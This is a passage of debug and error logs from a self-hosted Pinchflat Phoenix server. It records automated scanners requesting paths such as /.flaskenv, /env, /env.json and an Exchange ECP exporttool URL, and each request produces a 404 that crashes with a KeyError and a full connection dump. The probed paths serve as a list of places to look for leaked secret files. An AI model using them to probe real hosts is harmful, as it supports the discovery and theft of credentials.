(Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.flaskenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAYl4zEcgcFEAAboC"} ], scheme: :http, script_name: [], (truncated) 15:21:41.440 [info] GET /env 15:21:41.441 [debug] QUERY OK source="settings" db=0.1ms idle=714.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:41.441 [debug] QUERY OK source="settings" db=0.2ms idle=479.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:41.441 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:41.441 [error] #PID<0.9544.0> running PinchflatWeb.Endpoint (connection #PID<0.9543.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9543.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34798}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9544.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAZerW6h7LMoAAbpC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9543.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34798}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9543.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34798}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9544.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAZerW6h7LMoAAbpC"} ], scheme: :http, script_name: [], secret_key_base (truncated) 15:21:41.687 [info] GET /env.js 15:21:41.687 [debug] QUERY OK source="settings" db=0.1ms idle=484.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:41.687 [debug] QUERY OK source="settings" db=0.0ms idle=484.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:41.687 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:41.688 [error] #PID<0.9546.0> running PinchflatWeb.Endpoint (connection #PID<0.9545.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9545.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34806}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9546.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAaZb--4rRiIAAbqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9545.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34806}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9545.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34806}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9546.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"c (truncated) 15:21:41.925 [info] GET /env.json 15:21:41.925 [debug] QUERY OK source="settings" db=0.1ms idle=484.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:41.925 [debug] QUERY OK source="settings" db=0.0ms idle=484.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:41.925 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:41.925 [error] #PID<0.9548.0> running PinchflatWeb.Endpoint (connection #PID<0.9547.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /env.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9547.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34820}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9548.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAbSH2rYwG6oAAbrC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9547.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34820}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9547.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34820}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9548.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAbSH2rYwG6oAAbrC"} ], scheme: :http, script_name: (truncated) 15:21:42.126 [info] GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 15:21:42.127 [debug] QUERY OK source="settings" db=0.1ms idle=634.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.127 [debug] QUERY OK source="settings" db=0.0ms idle=439.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.127 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:42.127 [error] #PID<0.9550.0> running PinchflatWeb.Endpoint (connection #PID<0.9549.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9549.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34824}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9550.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAcCNIiSEmyUAAbsC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9549.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34824}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9549.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34824}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", 